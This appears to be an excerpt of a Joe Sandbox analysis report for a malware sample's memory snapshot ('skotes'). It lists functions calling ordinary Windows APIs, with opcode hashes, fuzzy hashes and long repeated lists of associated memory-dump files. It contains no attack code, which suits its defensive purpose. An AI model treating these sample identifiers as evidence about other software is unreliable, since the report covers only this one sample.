API String ID: 4202482776-0
Opcode ID: d3812e6ff1e5fe9b9aacf270b29e2d1a8210e92f7fc2ffca0c2ad3c88abe8d5c
Instruction ID: 2f7477147a4a82e8a150feb33c9b9dbc88b4c120b8ad19b8562323dff3e680cb
Opcode Fuzzy Hash: d3812e6ff1e5fe9b9aacf270b29e2d1a8210e92f7fc2ffca0c2ad3c88abe8d5c
Instruction Fuzzy Hash: 89D04CB57D5314B7F66057616C0BFB6AE119B0AF51FA5584477483F1D18AEC340087EC

Function 007A8380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 007A8524

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: baf1508d31ea73e15e46300fd3fda6568d73b3a9b0ab7eaea8f091dbe8531877
Instruction ID: 17be60d32c7daa753eb0da06cbba9716910dfff3d6d415148eac38ec68946d86
Opcode Fuzzy Hash: baf1508d31ea73e15e46300fd3fda6568d73b3a9b0ab7eaea8f091dbe8531877
Instruction Fuzzy Hash: DD512871D00244DBEB68EF68CD497DDB775EB86314F504399E814A72C2EF389E848B92

Function 007D7124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,007D705B,?,?,00000000,00000000), ref: 007D7166

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: 04b213e60a3522d024d30ec8f6fe9f217ff9ff93e0a2ccf8f0dcd4b5deb379df
Instruction ID: 97c1fdb6c8baa13503cd7a350630196048c4f28fb883427f9debc51455838682
Opcode Fuzzy Hash: 04b213e60a3522d024d30ec8f6fe9f217ff9ff93e0a2ccf8f0dcd4b5deb379df
Instruction Fuzzy Hash: 32112A7290410CAFDB14DE94C985EDFB7BDAF48310F205263E511E2180FB75EA09CB61

Function 007DAC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 007DAC8D

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: ce65c2832ee614f33fb6dd24c31619260e8a08ed910aa07b64a2371e75eba382
Instruction ID: fa4eeb4146c53a470e76a640bf26272e662113e303a6274cc0ab2cc630961d96
Opcode Fuzzy Hash: ce65c2832ee614f33fb6dd24c31619260e8a08ed910aa07b64a2371e75eba382
Instruction Fuzzy Hash: EB111571A0420AAFCF05DF58E945A9B7BF4FF48314F04406AF809AB351D630EE21CB65

Function 007DD82F Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,007DA813,00000001,00000364,00000006,000000FF,?,007BD3FC,3FA4AC3E,?,007B7A8B,?), ref: 007DD871

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a6e1f31aa61e08872e06740624707d8f39cbb84958742a751f23c9c41499d499
Instruction ID: f6769835dd87fabc694ae5b46cb6726ee6b5f53d702ce85f3e546281ca266a37
Opcode Fuzzy Hash: a6e1f31aa61e08872e06740624707d8f39cbb84958742a751f23c9c41499d499
Instruction Fuzzy Hash: 6DF02E31601124B6EB332A729C05A5B7779DF45770B148023FD0897381EA3CEC10A6E1

Function 007DB04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,3FA4AC3E,?,?,007BD3FC,3FA4AC3E,?,007B7A8B,?,?,?,?,?,?,007A7465,?), ref: 007DB07E

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
